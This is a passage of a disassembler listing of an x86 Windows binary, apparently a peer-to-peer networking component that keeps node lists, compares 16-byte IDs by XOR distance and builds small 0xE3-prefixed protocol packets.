loc_409FDD:				; CODE XREF: sub_409FC4+10j
		mov	eax, esi
		pop	esi
		retn	4
sub_409FC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_409FE3	proc near		; CODE XREF: sub_40A060+31p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		push	esi
		call	ds:dword_4180DC
		mov	ecx, [esi+11Ch]
		lea	eax, [esi+118h]
		mov	edx, [eax]
		sub	edx, ecx
		cmp	edx, 40h
		jnb	short loc_40A022
		mov	ecx, [eax]
		mov	edx, [esp+8+arg_0]
		and	ecx, 3Fh
		mov	[esi+ecx*4+18h], edx
		inc	dword ptr [eax]
		mov	bl, 1


loc_40A014:				; CODE XREF: sub_409FE3+41j
		push	esi
		call	ds:dword_4180E0
		pop	esi
		mov	al, bl
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_40A022:				; CODE XREF: sub_409FE3+1Ej
		xor	bl, bl
		jmp	short loc_40A014
sub_409FE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A026	proc near		; CODE XREF: sub_40A0C2+21p
					; sub_40B75C+7p
		push	esi
		push	edi
		mov	esi, ecx
		push	esi
		call	ds:dword_4180DC
		mov	eax, [esi+118h]
		lea	ecx, [esi+11Ch]
		mov	edx, [ecx]
		cmp	edx, eax
		jnb	short loc_40A05C
		mov	eax, [ecx]
		and	eax, 3Fh
		mov	eax, [esi+eax*4+18h]
		inc	dword ptr [ecx]
		mov	edi, eax


loc_40A050:				; CODE XREF: sub_40A026+38j
		push	esi
		call	ds:dword_4180E0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A05C:				; CODE XREF: sub_40A026+1Bj
		xor	edi, edi
		jmp	short loc_40A050
sub_40A026	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A060	proc near		; DATA XREF: .rdata:off_41C15Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		push	10h
		mov	esi, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40A08B
		push	[esp+8+arg_C]
		mov	ecx, eax
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_409F8E
		mov	edi, eax
		jmp	short loc_40A08D
; ---------------------------------------------------------------------------


loc_40A08B:				; CODE XREF: sub_40A060+Ej
		xor	edi, edi


loc_40A08D:				; CODE XREF: sub_40A060+29j
		push	edi
		lea	ecx, [esi+4]
		call	sub_409FE3
		test	al, al
		jz	short loc_40A0AE
		push	0
		push	1
		push	dword ptr [esi+124h]
		call	ds:dword_418064
		mov	al, 1
		jmp	short loc_40A0BD
; ---------------------------------------------------------------------------


loc_40A0AE:				; CODE XREF: sub_40A060+38j
		test	edi, edi
		jz	short loc_40A0BB
		push	1
		mov	ecx, edi
		call	sub_409FC4


loc_40A0BB:				; CODE XREF: sub_40A060+50j
		xor	al, al


loc_40A0BD:				; CODE XREF: sub_40A060+4Cj
		pop	edi
		pop	esi
		retn	10h
sub_40A060	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0C2	proc near		; CODE XREF: sub_40B8DC+EAp
					; sub_40B9D7+4Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 3E8h
		push	esi
		mov	esi, ecx
		push	eax
		push	dword ptr [esi+124h]
		call	ds:dword_4180B8
		test	eax, eax
		jnz	short loc_40A0EA
		lea	ecx, [esi+4]
		call	sub_40A026
		jmp	short loc_40A0EC
; ---------------------------------------------------------------------------


loc_40A0EA:				; CODE XREF: sub_40A0C2+1Cj
		xor	eax, eax


loc_40A0EC:				; CODE XREF: sub_40A0C2+26j
		pop	esi
		retn	4
sub_40A0C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0F0	proc near		; CODE XREF: sub_409866+104p
					; sub_40A105+12p ...
		push	esi
		push	20h
		mov	esi, ecx
		push	0
		push	esi
		call	sub_40CCD9
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_40A0F0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40A105	proc near		; CODE XREF: sub_40A1D1+62p
					; sub_40A260+D6p
		push	esi
		push	edi
		push	20h
		mov	esi, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40A11E
		mov	ecx, eax
		call	sub_40A0F0
		jmp	short loc_40A120
; ---------------------------------------------------------------------------


loc_40A11E:				; CODE XREF: sub_40A105+Ej
		xor	eax, eax


loc_40A120:				; CODE XREF: sub_40A105+17j
		push	8
		pop	ecx
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		retn
sub_40A105	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A12A	proc near		; CODE XREF: sub_40A168+12p
					; sub_40AC28+88p

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, ecx
		push	esi
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_40A163
		push	edi


loc_40A135:				; CODE XREF: sub_40A12A+36j
		cmp	[esp+0Ch+arg_0], 0
		jz	short loc_40A151
		test	esi, esi
		jz	short loc_40A144
		mov	eax, [esi]
		jmp	short loc_40A146
; ---------------------------------------------------------------------------


loc_40A144:				; CODE XREF: sub_40A12A+14j
		xor	eax, eax


loc_40A146:				; CODE XREF: sub_40A12A+18j
		test	eax, eax
		jz	short loc_40A151
		push	eax
		call	sub_40D0B6
		pop	ecx


loc_40A151:				; CODE XREF: sub_40A12A+10j
					; sub_40A12A+1Ej
		mov	edi, [esi+4]
		push	esi
		mov	ecx, ebx
		call	sub_4041B2
		test	edi, edi
		mov	esi, edi
		jnz	short loc_40A135
		pop	edi


loc_40A163:				; CODE XREF: sub_40A12A+8j
		pop	esi
		pop	ebx
		retn	4
sub_40A12A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A168	proc near		; CODE XREF: sub_40A48A+15j
					; sub_40BD87+1FBp ...
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+8]
		push	esi
		call	ds:dword_4180DC
		push	1
		mov	ecx, edi
		call	sub_40A12A
		push	esi
		call	ds:dword_4180E0
		push	esi
		call	ds:dword_4180D8
		pop	edi
		pop	esi
		retn
sub_40A168	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A190	proc near		; CODE XREF: sub_40A35D+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [ecx]
		test	eax, eax
		push	esi
		mov	esi, [esp+4+arg_8]
		mov	[esi], eax
		jz	short loc_40A1C7


loc_40A19D:				; CODE XREF: sub_40A190+35j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A1A7
		mov	eax, [eax]
		jmp	short loc_40A1A9
; ---------------------------------------------------------------------------


loc_40A1A7:				; CODE XREF: sub_40A190+11j
		xor	eax, eax


loc_40A1A9:				; CODE XREF: sub_40A190+15j
		mov	ecx, [esp+4+arg_0]
		cmp	ecx, [eax+10h]
		jnz	short loc_40A1BB
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, [eax+14h]
		jz	short loc_40A1CD


loc_40A1BB:				; CODE XREF: sub_40A190+20j
		mov	ecx, esi
		call	sub_409851
		cmp	dword ptr [esi], 0
		jnz	short loc_40A19D


loc_40A1C7:				; CODE XREF: sub_40A190+Bj
		xor	al, al


loc_40A1C9:				; CODE XREF: sub_40A190+3Fj
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A1CD:				; CODE XREF: sub_40A190+29j
		mov	al, 1
		jmp	short loc_40A1C9
sub_40A190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1D1	proc near		; CODE XREF: sub_40AC28+4Ap

var_20		= byte ptr -20h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_0]
		mov	esi, ecx
		push	eax
		call	sub_409EED
		mov	esi, [esi]
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_40A250
		push	edi


loc_40A1F3:				; CODE XREF: sub_40A1D1+7Cj
		mov	edi, [esi]
		cmp	byte ptr [edi+1Dh], 0
		jz	short loc_40A244
		push	[ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_409EED
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_409EC5
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A244
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_409E90
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		jz	short loc_40A23B
		mov	ecx, edi
		call	sub_40A105
		push	eax
		jmp	short loc_40A23C
; ---------------------------------------------------------------------------


loc_40A23B:				; CODE XREF: sub_40A1D1+5Ej
		push	edi


loc_40A23C:				; CODE XREF: sub_40A1D1+68j
		mov	ecx, [ebp+arg_8]
		call	sub_4151CB


loc_40A244:				; CODE XREF: sub_40A1D1+28j
					; sub_40A1D1+49j
		test	esi, esi
		jz	short loc_40A24F
		mov	esi, [esi+4]
		test	esi, esi
		jnz	short loc_40A1F3


loc_40A24F:				; CODE XREF: sub_40A1D1+75j
		pop	edi


loc_40A250:				; CODE XREF: sub_40A1D1+1Fj
		mov	ecx, [ebp+arg_8]
		xor	eax, eax
		cmp	[ecx+4], eax
		pop	esi
		setnle	al
		leave
		retn	10h
sub_40A1D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A260	proc near		; CODE XREF: sub_40BD87+34p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		push	esi
		mov	esi, [ecx]
		test	esi, esi
		jz	short loc_40A297


loc_40A275:				; CODE XREF: sub_40A260+2Fj
		mov	eax, [esi]
		cmp	byte ptr [eax+1Dh], 0
		jz	short loc_40A286
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_4151CB


loc_40A286:				; CODE XREF: sub_40A260+1Bj
		test	esi, esi
		jz	short loc_40A291
		mov	esi, [esi+4]
		test	esi, esi
		jnz	short loc_40A275


loc_40A291:				; CODE XREF: sub_40A260+28j
		cmp	[ebp+var_8], 0
		jnz	short loc_40A29E


loc_40A297:				; CODE XREF: sub_40A260+13j
		xor	al, al
		jmp	loc_40A358
; ---------------------------------------------------------------------------


loc_40A29E:				; CODE XREF: sub_40A260+35j
		mov	edx, [ebp+arg_0]
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edx, edi
		mov	[ebp+arg_4], edx


loc_40A2AF:				; CODE XREF: sub_40A260+A8j
		movzx	esi, byte ptr [edx+edi]
		movzx	eax, byte ptr [edi]
		xor	esi, eax
		jle	short loc_40A300


loc_40A2BA:				; CODE XREF: sub_40A260+9Ej
		mov	eax, [ebp+var_C]
		jmp	short loc_40A2F7
; ---------------------------------------------------------------------------


loc_40A2BF:				; CODE XREF: sub_40A260+99j
		mov	ebx, [ebp+var_4]
		mov	ecx, [eax]
		movzx	ecx, byte ptr [ecx+ebx]
		movzx	ebx, byte ptr [edi]
		xor	ecx, ebx
		cmp	ecx, esi
		jle	short loc_40A2EC
		mov	ebx, [eax+4]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_4041B2
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_10]
		mov	eax, ebx
		jz	short loc_40A30A
		mov	edx, [ebp+arg_4]
		jmp	short loc_40A2F7
; ---------------------------------------------------------------------------


loc_40A2EC:				; CODE XREF: sub_40A260+6Fj
		test	eax, eax
		jz	short loc_40A2FB
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_40A2FB


loc_40A2F7:				; CODE XREF: sub_40A260+5Dj
					; sub_40A260+8Aj
		test	eax, eax
		jnz	short loc_40A2BF


loc_40A2FB:				; CODE XREF: sub_40A260+8Ej
					; sub_40A260+95j
		dec	esi
		test	esi, esi
		jg	short loc_40A2BA


loc_40A300:				; CODE XREF: sub_40A260+58j
		inc	[ebp+var_4]
		inc	edi
		cmp	[ebp+var_4], 10h
		jl	short loc_40A2AF


loc_40A30A:				; CODE XREF: sub_40A260+85j
		mov	esi, [ebp+var_C]
		test	esi, esi
		jz	short loc_40A34B


loc_40A311:				; CODE XREF: sub_40A260+E9j
		dec	[ebp+arg_14]
		js	short loc_40A34B
		test	esi, esi
		jz	short loc_40A31E
		mov	ebx, [esi]
		jmp	short loc_40A320
; ---------------------------------------------------------------------------


loc_40A31E:				; CODE XREF: sub_40A260+B8j
		xor	ebx, ebx


loc_40A320:				; CODE XREF: sub_40A260+BCj
		mov	edi, [esi+4]
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_4041B2
		cmp	[ebp+arg_C], 0
		mov	esi, edi
		jz	short loc_40A33E
		mov	ecx, ebx
		call	sub_40A105
		push	eax
		jmp	short loc_40A33F
; ---------------------------------------------------------------------------


loc_40A33E:				; CODE XREF: sub_40A260+D2j
		push	ebx


loc_40A33F:				; CODE XREF: sub_40A260+DCj
		mov	ecx, [ebp+arg_8]
		call	sub_4151CB
		test	edi, edi
		jnz	short loc_40A311


loc_40A34B:				; CODE XREF: sub_40A260+AFj
					; sub_40A260+B4j
		mov	ecx, [ebp+arg_8]
		xor	eax, eax
		cmp	[ecx+4], eax
		pop	edi
		setnle	al
		pop	ebx


loc_40A358:				; CODE XREF: sub_40A260+39j
		pop	esi
		leave
		retn	18h
sub_40A260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A35D	proc near		; CODE XREF: sub_40A879+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+8]
		push	edi
		call	ds:dword_4180DC
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40A190
		test	al, al
		jz	short loc_40A393
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_40A393
		mov	esi, [eax]
		jmp	short loc_40A395
; ---------------------------------------------------------------------------


loc_40A393:				; CODE XREF: sub_40A35D+29j
					; sub_40A35D+30j
		xor	esi, esi


loc_40A395:				; CODE XREF: sub_40A35D+34j
		push	edi
		call	ds:dword_4180E0
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	8
sub_40A35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3A4	proc near		; CODE XREF: sub_40A53E+36p
					; sub_40B9D7+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	edi, ecx
		lea	eax, [edi+8]
		push	eax
		mov	[ebp+var_4], eax
		call	ds:dword_4180DC
		mov	eax, [edi]
		mov	ebx, [ebp+arg_8]
		jmp	short loc_40A3D6
; ---------------------------------------------------------------------------


loc_40A3C0:				; CODE XREF: sub_40A3A4+34j
		mov	ecx, [eax]
		mov	edx, [ebp+arg_4]
		cmp	edx, [ecx+10h]
		jnz	short loc_40A3CF
		cmp	ebx, [ecx+14h]
		jz	short loc_40A3F2


loc_40A3CF:				; CODE XREF: sub_40A3A4+24j
		test	eax, eax
		jz	short loc_40A3DA
		mov	eax, [eax+4]


loc_40A3D6:				; CODE XREF: sub_40A3A4+1Aj
		test	eax, eax
		jnz	short loc_40A3C0


loc_40A3DA:				; CODE XREF: sub_40A3A4+2Dj
		push	esi
		push	20h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40A410
		mov	ecx, eax
		call	sub_40A0F0
		mov	esi, eax
		jmp	short loc_40A412
; ---------------------------------------------------------------------------


loc_40A3F2:				; CODE XREF: sub_40A3A4+29j
		push	[ebp+arg_0]
		push	ecx
		call	sub_409E90
		pop	ecx
		pop	ecx
		xor	bl, bl


loc_40A3FF:				; CODE XREF: sub_40A3A4+9Cj
		push	[ebp+var_4]
		call	ds:dword_4180E0
		pop	edi
		mov	al, bl
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A410:				; CODE XREF: sub_40A3A4+41j
		xor	esi, esi


loc_40A412:				; CODE XREF: sub_40A3A4+4Cj
		push	[ebp+arg_0]
		push	esi
		call	sub_409E90
		mov	eax, [ebp+arg_4]
		push	0
		mov	[esi+10h], eax
		mov	[esi+14h], ebx
		mov	byte ptr [esi+1Ch], 0
		call	sub_40CFAE
		add	esp, 0Ch
		push	esi
		mov	ecx, edi
		mov	[esi+18h], eax
		call	sub_4151CB
		mov	bl, 1
		pop	esi
		jmp	short loc_40A3FF
sub_40A3A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A442	proc near		; CODE XREF: sub_40BBB5+5p
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+28h]
		mov	dword ptr [esi], offset	off_41C118
		mov	[esi+4], bl
		mov	[esi+8], ebx
		mov	[esi+0Ch], ebx
		mov	[esi+10h], ebx
		mov	[esi+14h], ebx
		call	sub_409BF1
		lea	ecx, [esi+48h]
		call	sub_409BF1
		push	ebx
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		lea	eax, [esi+18h]
		push	eax
		call	sub_409F11
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40A442	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A48A	proc near		; CODE XREF: sub_40A522+3p
					; sub_40B41F+CBp
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+48h]
		mov	dword ptr [esi], offset	off_41C118
		call	sub_409C66
		lea	ecx, [esi+28h]
		pop	esi
		jmp	sub_40A168
sub_40A48A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A4A4	proc near		; CODE XREF: sub_40A5D3+2Ep
					; sub_40A8D4+2Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+4], 0
		push	edi
		jz	short loc_40A4BE
		mov	edi, [esp+8+arg_0]
		push	0
		push	edi
		call	sub_4097C7
		push	0
		jmp	short loc_40A4D8
; ---------------------------------------------------------------------------


loc_40A4BE:				; CODE XREF: sub_40A4A4+8j
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_40A4C8
		mov	eax, [esi+0Ch]


loc_40A4C8:				; CODE XREF: sub_40A4A4+1Fj
		mov	edi, [esp+8+arg_0]
		push	eax
		push	edi
		call	sub_4097C7
		movzx	eax, word ptr [esi+10h]
		push	eax


loc_40A4D8:				; CODE XREF: sub_40A4A4+18j
		push	edi
		call	sub_409783
		mov	eax, [edi]
		add	esp, 10h
		pop	edi
		pop	esi
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4E8	proc near		; CODE XREF: sub_40A5D3+4Ap
					; sub_40A64B+32p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		jz	short loc_40A51C
		cmp	[ebp+arg_4], eax
		jz	short loc_40A51C
		cmp	[ebp+arg_8], eax
		jz	short loc_40A51C
		cmp	[ebp+arg_C], eax
		jle	short loc_40A51C
		push	[ebp+arg_C]
		mov	eax, [ecx]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+8]
		sub	eax, [ebp+arg_C]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_40A51E
; ---------------------------------------------------------------------------


loc_40A51C:				; CODE XREF: sub_40A4E8+8j
					; sub_40A4E8+Dj ...
		xor	al, al


loc_40A51E:				; CODE XREF: sub_40A4E8+32j
		pop	ebp
		retn	10h
sub_40A4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A522	proc near		; DATA XREF: .rdata:off_41C118o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40A48A
		test	[esp+4+arg_0], 1
		jz	short loc_40A538
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_40A538:				; CODE XREF: sub_40A522+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40A522	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A53E	proc near		; CODE XREF: sub_40A582+46p
					; sub_40AA1A+1Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_40A57D
		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short loc_40A57D
		cmp	dword ptr [ecx+2Ch], 400h
		jge	short loc_40A57D
		cmp	edx, [ecx+8]
		jnz	short loc_40A561
		cmp	eax, [ecx+10h]
		jz	short loc_40A57D


loc_40A561:				; CODE XREF: sub_40A53E+1Cj
		cmp	edx, [ecx+0Ch]
		jnz	short loc_40A56B
		cmp	eax, [ecx+10h]
		jz	short loc_40A57D


loc_40A56B:				; CODE XREF: sub_40A53E+26j
		push	eax
		push	edx
		push	[esp+8+arg_0]
		add	ecx, 28h
		call	sub_40A3A4
		mov	al, 1
		jmp	short locret_40A57F
; ---------------------------------------------------------------------------


loc_40A57D:				; CODE XREF: sub_40A53E+6j
					; sub_40A53E+Ej ...
		xor	al, al

locret_40A57F:				; CODE XREF: sub_40A53E+3Dj
		retn	0Ch
sub_40A53E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A582	proc near		; CODE XREF: sub_40A7E2+3Ep
					; sub_40A837+35p ...

var_10		= byte ptr -10h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+2Ch], 400h
		jl	short loc_40A598
		xor	al, al
		jmp	short loc_40A5CE
; ---------------------------------------------------------------------------


loc_40A598:				; CODE XREF: sub_40A582+10j
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_409765
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_409735
		mov	edi, eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40970B
		movzx	eax, ax
		add	esp, 10h
		push	eax
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, esi
		call	sub_40A53E
		pop	edi


loc_40A5CE:				; CODE XREF: sub_40A582+14j
		pop	esi
		leave
		retn	4
sub_40A582	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5D3	proc near		; CODE XREF: sub_40A627+Ap
					; sub_40A639+Ap

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_1B], al
		push	esi
		lea	eax, [ebp+var_1A]
		mov	esi, ecx
		mov	[ebp+arg_0], eax
		lea	eax, [esi+18h]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_1C], 0E3h
		call	sub_4097FB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_40A4A4
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		inc	[ebp+arg_0]
		push	19h
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		call	sub_40A4E8
		pop	esi
		leave
		retn	0Ch
sub_40A5D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A627	proc near		; CODE XREF: sub_40A879+4Bp
					; sub_40BC77+BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	0Ah
		call	sub_40A5D3
		retn	8
sub_40A627	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A639	proc near		; CODE XREF: sub_40B56E+82p
					; sub_40BC77+36p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	0Ch
		call	sub_40A5D3
		retn	8
sub_40A639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A64B	proc near		; CODE XREF: sub_40BC77+D9p

var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	esi, ecx
		mov	[ebp+var_4], 0E3h
		mov	[ebp+var_3], 1Bh
		call	sub_409783
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40A4E8
		pop	esi
		leave
		retn	0Ch
sub_40A64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A687	proc near		; CODE XREF: sub_40B1CC+43p

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_4], 0E3h
		push	[ebp+arg_0]
		mov	[ebp+var_3], 1Dh
		call	sub_40A4E8
		leave
		retn	8
sub_40A687	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A8	proc near		; CODE XREF: sub_40B9D7+40p

var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	al, byte ptr [ebp+arg_8]
		mov	[ebp+var_12], al
		push	esi
		push	[ebp+arg_C]
		lea	eax, [ebp+var_11]
		mov	[ebp+arg_8], eax
		lea	eax, [ebp+arg_8]
		push	eax
		mov	esi, ecx
		mov	[ebp+var_14], 0E3h
		mov	[ebp+var_13], 0Eh
		call	sub_4097FB
		pop	ecx
		pop	ecx
		push	13h
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_40A4E8
		pop	esi
		leave
		retn	10h
sub_40A6A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_40B9D7+196p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_10]
		lea	ebx, [edi+17h]
		push	ebx
		mov	[ebp+var_4], ecx
		call	sub_40D0BB
		push	[ebp+arg_8]
		mov	esi, eax
		mov	[ebp+arg_10], esi
		mov	byte ptr [esi],	0E3h
		inc	[ebp+arg_10]
		mov	eax, [ebp+arg_10]
		mov	byte ptr [eax],	10h
		inc	[ebp+arg_10]
		lea	eax, [ebp+arg_10]
		push	eax
		call	sub_4097FB
		add	esp, 0Ch
		cmp	[ebp+arg_C], 0
		jz	short loc_40A74B
		test	edi, edi
		jz	short loc_40A74B
		mov	eax, [ebp+arg_10]
		push	edi
		push	[ebp+arg_C]
		mov	byte ptr [eax],	1
		inc	[ebp+arg_10]
		push	[ebp+arg_10]
		call	sub_40CCF7
		add	esp, 0Ch
		add	[ebp+arg_10], edi
		jmp	short loc_40A754
; ---------------------------------------------------------------------------


loc_40A74B:				; CODE XREF: sub_40A6EB+3Dj
					; sub_40A6EB+41j
		mov	eax, [ebp+arg_10]
		mov	byte ptr [eax],	0
		inc	[ebp+arg_10]


loc_40A754:				; CODE XREF: sub_40A6EB+5Ej
		push	[ebp+arg_14]
		lea	eax, [ebp+arg_10]
		push	eax
		call	sub_409783
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		call	sub_409783
		mov	ecx, [ebp+var_4]
		add	esp, 10h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A4E8
		push	esi
		mov	bl, al
		call	sub_40D0B6
		pop	ecx
